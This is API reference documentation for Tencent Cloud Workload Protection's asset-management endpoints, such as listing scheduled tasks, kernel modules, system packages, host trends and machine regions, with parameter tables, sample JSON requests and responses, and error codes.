POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetPlanTaskList
<Common request parameters>

{
"Uuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
"Limit": 1,
"Quuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
"Filters": [
{
```

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```
"Values": [
"10.0.0.1"
],
"Name": "IP",
"ExactMatch": true
}
],
"Offset": 1
}
```


Output Example


```
{
"Response": {
"Tasks": [
{
"Status": 1,
"Cycle": "10 * * * *",
"Command": "/root/test",
"User": "root",
"ConfigPath": "/root",
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineWanIp": "110.84.0.11",
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


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5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetCoreModuleList

Last updated：2024-12-06 15:42:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management kernel modules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetCoreModuleList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name - string - required: no - package name • User - string - required: no - user

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Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method [Size|FirstTime|ProcessCount|ModuleCount]

3. Output Parameters

Parameter Name	Type	Description
Modules	Array of AssetCoreModuleBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Asset Management Kernel Module

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetCoreModuleList
<Common request parameters>

{
"Uuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
"Order": "asc",
"Limit": 1,
"Quuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
```

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```
"Filters": [
{}
],
"Offset": 1,
"By": "Size"
}
```

Output Example

```
{
"Response": {
"Modules": [
{
"Name": "test-name",
"Desc": "idesc",
"Path": "/root",
"Version": "0.1.1",
"MachineIp": "1.1.1.1",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Size": 1,
"ProcessCount": 1,
"ModuleCount": 1,
"Id": "1024",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineWanIp": "1.1.1.1",
"MachineExtraInfo": {
"WanIP": "1.1.1.1",
"PrivateIP": "1.1.1.1",
"NetworkType": 0,
"NetworkName": "vpc-id",
"InstanceID": "ins-id",
"HostName": "test-name"
}
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```

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5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetCoreModuleInfo

Last updated：2024-12-06 15:42:11

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the kernel module details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetCoreModuleInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID
Id	Yes	String	Kernel module ID

3. Output Parameters

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Parameter Name	Type	Description
Module	AssetCoreModuleDetail	Kernel module details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Kernel Module Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetCoreModuleInfo
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx",
"Id": "xx"
}
```

Output Example

```
{
"Response": {
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82",
"Module": {
"Processes": "sshd",
"Name": "test-name",
"Modules": "ssh",
"UpdateTime": "2024-10-11 12:23:34",
"Version": "0.1.1",
"Params": [
{
"Data": "idata",
"Name": "test-name"
}
```

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```
],
"Path": "/root",
"Desc": "idesc",
"Size": 1
}
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetSystemPackageList

Last updated：2024-12-06 15:42:01

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of system installation packages for asset management.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetSystemPackageList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Host UUID
Quuid	No	String	Host QUUID
Filters.N	No	Array of Filter	Filter criteria • Name - String - required: no - package name • StartTime - String - required: no - start time of installation • EndTime - String - required: no - end time of installation • Type- int - required: no - installation package type: 1:rmp 2:dpkg

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			3:java 4:system
Offset	No	Integer	Offset, which is 0 by default.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order. Default: desc for descending order.
By	No	String	Optional sorting method: [FistTime|InstallTime: installation time]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
Packages	Array of AssetSystemPackageInfo	List Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Asset Management System Installation Packages

This example shows you how to obtain the list of asset management system installation packages.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetSystemPackageList
<Common request parameters>
```

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```
{
"Limit": 1,
"Filters": [],
"Offset": 1
}
```

Output Example


```
{
"Response": {
"Total": 1,
"Packages": [
{
"Name": "test-name",
"Desc": "idesc",
"Version": "0.1.1",
"InstallTime": "2024-10-11 12:23:34",
"Type": "Web",
"MachineName": "test-name",
"MachineIp": "10.0.0.11",
"OsInfo": "CentOs Bit64",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
},
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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SyncAssetScan

Last updated：2024-12-06 15:41:32

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to synchronize the asset scan information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SyncAssetScan.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Sync	Yes	Boolean	Whether synchronized: true - yes; false - no; the default is false

3. Output Parameters

Parameter Name	Type	Description
State	String	Enumeration values are (in uppercase): NOTASK (no synchronization task), SYNCING (synchronizing), and FINISHED (synchronization completed)

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LatestStartTime	String	Latest synchronization start time
LatestEndTime	String	Last sync end time
TaskId	Integer	Task ID Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Syncing the Asset Scan Information

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SyncAssetScan
<Common request parameters>

{
"Sync": true
}
```

Output Example

```
{
"Response": {
"TaskId": 1,
"State": "0",
"RequestId": "a7a44bfc-9931-4829-8335-ffacb05d5c70 ",
"LatestEndTime": "2024-10-23 14:17:00",
"LatestStartTime": "2024-10-23 14:17:00"
}
}
```

5. Developer Resources

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.
InternalError	Internal error
InternalError.MainDBFail	Failed to manipulate the data.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
ResourceNotFound	The resource does not exist.

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DescribeAssetRecentMachineInfo

Last updated：2024-12-06 15:42:02

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the latest trend of hosts.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetRecentMachineInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BeginDate	Yes	Date	Start time. For example, 2020-09-22.
EndDate	Yes	Date	End time. For example, 2020-09-22.

3. Output Parameters

Parameter Name	Type	Description

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TotalList	Array of AssetKeyVal	List of total assets Note: This field may return null, indicating that no valid values can be obtained.
LiveList	Array of AssetKeyVal	List of online assets Note: This field may return null, indicating that no valid values can be obtained.
OfflineList	Array of AssetKeyVal	List of offline assets Note: This field may return null, indicating that no valid values can be obtained.
RiskList	Array of AssetKeyVal	List of risky assets Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Host Overview Trends

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetRecentMachineInfo
<Common request parameters>

{
"BeginDate": "2020-09-22",
"EndDate": "2020-09-22"
}
```

Output Example

```
{
"Response": {
"RiskList": [
{
"Value": 10,
"Key": "App",
"Desc": "softwares",
"NewCount": 0
}
```

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```
],
"LiveList": [
{
"Value": 20,
"Key": "frame",
"Desc": "softwares",
"NewCount": 0
}
],
"TotalList": [
{
"Value": 30,
"Key": "Web",
"Desc": "web app",
"NewCount": 0
}
],
"RequestId": "a8658ae6-0cd1-47f0-99b0-f144f01e9066",
"OfflineList": [
{
"Value": 40,
"Key": "total",
"Desc": "total",
"NewCount": 0
}
]
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.
UnknownParameter	Unknow parameter error.

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DescribeAssetMachineTagTop

Last updated：2024-12-06 15:42:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain top 5 host tags.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetMachineTagTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
Tags	Array of AssetKeyVal	Top 5 tags along with their counts Note: This field may return null, indicating that no valid values can be obtained.

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Top 5 Host Tags

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetMachineTagTop
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"Tags": [
{
"Value": 10,
"Desc": "idesc",
"Key": "total",
"NewCount": 0
}
]
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.

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DescribeAssetLoadInfo

Last updated：2024-12-06 15:42:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the utilization of the system load, memory, and hard disk.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetLoadInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
CpuLoad	AssetLoadSummary	System load Note: This field may return null, indicating that no valid values can be obtained.

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MemLoad	AssetLoadSummary	Memory utilization Note: This field may return null, indicating that no valid values can be obtained.
DiskLoad	AssetLoadSummary	Hard disk utilization Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Resource Load Overview

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetLoadInfo
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"CpuLoad": {
"Counts": [
1
],
"Top5": [
{
"MachineName": "instance-1",
"Desc": "idesc",
"Value": 0,
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
```

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```
]
},
"MemLoad": {
"Counts": [
1
],
"Top5": [
{
"MachineName": "instance-12",
"Desc": "idesc",
"Value": 0,
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
]
},
"DiskLoad": {
"Counts": [
1
],
"Top5": [
{
"MachineName": "instance-13",
"Desc": "idesc",
"Value": 0,
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
]
},
"RequestId": "24c9be55-c743-4a75-a5c7-2a2912341234"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.

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DescribeAssetTypeTop

Last updated：2024-12-06 15:42:00

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain Top5 resources of various types.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetTypeTop.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
User	Array of AssetKeyVal	Top 5 accounts Note: This field may return null, indicating that no valid values can be obtained.

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Port	Array of AssetKeyVal	Top 5 ports Note: This field may return null, indicating that no valid values can be obtained.
Process	Array of AssetKeyVal	Top 5 processes Note: This field may return null, indicating that no valid values can be obtained.
Software	Array of AssetKeyVal	Top 5 software Note: This field may return null, indicating that no valid values can be obtained.
Database	Array of AssetKeyVal	Top 5 databases Note: This field may return null, indicating that no valid values can be obtained.
WebApp	Array of AssetKeyVal	Top 5 web applications Note: This field may return null, indicating that no valid values can be obtained.
WebLocation	Array of AssetKeyVal	Top 5 web sites Note: This field may return null, indicating that no valid values can be obtained.
WebFrame	Array of AssetKeyVal	Top 5 web frameworks Note: This field may return null, indicating that no valid values can be obtained.
WebService	Array of AssetKeyVal	Top 5 web services Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Top 5 Various Resources

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
```

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```
X-TC-Action: DescribeAssetTypeTop
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Database": [
{
"Key": "SQL Server",
"Value": 2,
"NewCount": 0,
"Desc": "none"
}
],
"Port": [
{
"Key": "10250",
"Value": 21,
"NewCount": 0,
"Desc": "none"
}
],
"Process": [
{
"Key": "svchost.exe",
"Value": 241,
"NewCount": 0,
"Desc": "none"
}
],
"RequestId": "1693599e-ff8f-4a8c-ae39-b4d9ba3ae9bf",
"Software": [
{
"Key": "NTP",
"Value": 37,
"NewCount": 0,
"Desc": "none"
}
],
"User": [
{
"Key": "lp",
"Value": 53,
```


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```
"NewCount": 0,
"Desc": "none"
}
],
"WebApp": [
{
"Key": "phpMyAdmin",
"Value": 6,
"NewCount": 0,
"Desc": "none"
}
],
"WebFrame": [
{
"Key": "hibernate",
"Value": 3,
"NewCount": 0,
"Desc": "none"
}
],
"WebLocation": [
{
"Key": "localhost",
"Value": 9,
"NewCount": 0,
"Desc": "none"
}
],
"WebService": [
{
"Key": "Nginx",
"Value": 25,
"NewCount": 0,
"Desc": "none"
}
]
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.MissingParameter	Missing parameter.
MissingParameter	Missing parameter error.

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ExportAssetRecentMachineInfo

Last updated：2024-12-06 15:41:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export host trends of recent days (up to last 90 days).

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportAssetRecentMachineInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BeginDate	Yes	Date	Start time
EndDate	Yes	Date	End time

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	Download URL
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Host Overview Trend

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: ExportAssetRecentMachineInfo
<Common request parameters>

{
"BeginDate": "2020-09-22",
"EndDate": "2020-09-22"
}
```

Output Example

```
{
"Response": {
"DownloadUrl": "http://xx/xxx",
"RequestId": "acdd5474-6360-4fd4-bfc7-843162cb8116"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
InternalError	Internal error
InvalidParameter.DateRange	Incorrect time range format.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.InvalidFormat	Incorrect parameter format.
MissingParameter	Missing parameter error.

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DescribeMachineGeneral

Last updated：2024-12-06 15:41:48

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information of the host overview.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineGeneral.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
MachineCnt	Integer	Total number of assets
ProtectMachineCnt	Integer	Number of protected machines

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BaseMachineCnt	Integer	Number of protected Basic Edition machines
SpecialtyMachineCnt	Integer	Number of protected Pro Edition machines
FlagshipMachineCnt	Integer	Number of protected Ultimate Edition machines
RiskMachineCnt	Integer	Number of risky machines
CompareYesterdayRiskMachineCnt	Integer	Number of new risky machines compared with that yesterday
CompareYesterdayNotProtectMachineCnt	Integer	Number of new unprotected machines compared with that yesterday
CompareYesterdayDeadlineMachineCnt	Integer	Number of new machines about to expire compared with that yesterday
DeadlineMachineCnt	Integer	Number of machines about to expire
NotProtectMachineCnt	Integer	Number of unprotected machines
LHGeneralDiscountCnt	Integer	Number of protected Inclusive Edition machines (Lighthouse machines)
CompareYesterdayMachineCnt	Integer	Number of new hosts compared with that yesterday
MachineDestroyAfterOfflineHours	Integer	Auto-cleanup Time, maximum 720 hours, minimum 0, 0 by default, 0=OFF
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Example

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineGeneral
<Common request parameters>
```

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```
{}
```

Output Example


```
{
"Response": {
"AliCloudMachineCnt": 0,
"BaiduCloudMachineCnt": 0,
"BaseMachineCnt": 34,
"CompareYesterdayDeadlineMachineCnt": 2,
"CompareYesterdayMachineCnt": 132,
"CompareYesterdayNotProtectMachineCnt": 64,
"CompareYesterdayRiskMachineCnt": 35,
"DeadlineMachineCnt": 2,
"FlagshipMachineCnt": 34,
"IDCMachineCnt": 0,
"LHGeneralDiscountCnt": 0,
"MachineCnt": 132,
"MachineDestroyAfterOfflineHours": 1,
"NotProtectMachineCnt": 64,
"OtherCloudMachineCnt": 0,
"ProtectMachineCnt": 34,
"RequestId": "9f5fd122-589a-4faa-b004-efd7ef35e240",
"RiskMachineCnt": 35,
"SpecialtyMachineCnt": 0,
"TencentCloudMachineCnt": 0
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET

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- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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DescribeMachineRegions

Last updated：2024-12-06 15:41:46

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of machine regions.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeMachineRegions.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
CVM	Array of RegionInfo	List of Cloud Virtual Machine regions

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BM	Array of RegionInfo	List of BM machine regions
LH	Array of RegionInfo	List of Lighthouse regions
ECM	Array of RegionInfo	List of Edge Computing Machine regions
Other	Array of RegionInfo	List of Hybrid Cloud regions
ALL	Array of RegionInfo	List of all regions (including above regions)
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Machine Region List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeMachineRegions
<Common request parameters>

{}
```

Output Example

```
{
"Response": {
"CVM": [
{
"Region": "ap-guangzhou",
"RegionName": "South China (Guangzhou)",
"RegionId": "1",
"RegionCode": "gz",
